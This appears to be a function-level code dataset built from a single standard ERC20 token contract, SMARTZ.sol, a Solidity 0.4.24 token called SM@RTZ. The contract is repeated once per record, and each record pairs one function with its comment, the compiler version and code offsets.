contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
balanceOf
function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; }
// ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 1304, 1433 ] }
14,126
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transfer
function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 1777, 2059 ] }
14,127
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
approve
function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 2567, 2780 ] }
14,128
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transferFrom
function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 3311, 3674 ] }
14,129
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
allowance
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; }
// ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 3957, 4113 ] }
14,130
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
approveAndCall
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 4468, 4790 ] }
14,131
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
function () public payable { revert(); }
// ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 4982, 5041 ] }
14,132
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transferAnyERC20Token
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); }
// ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
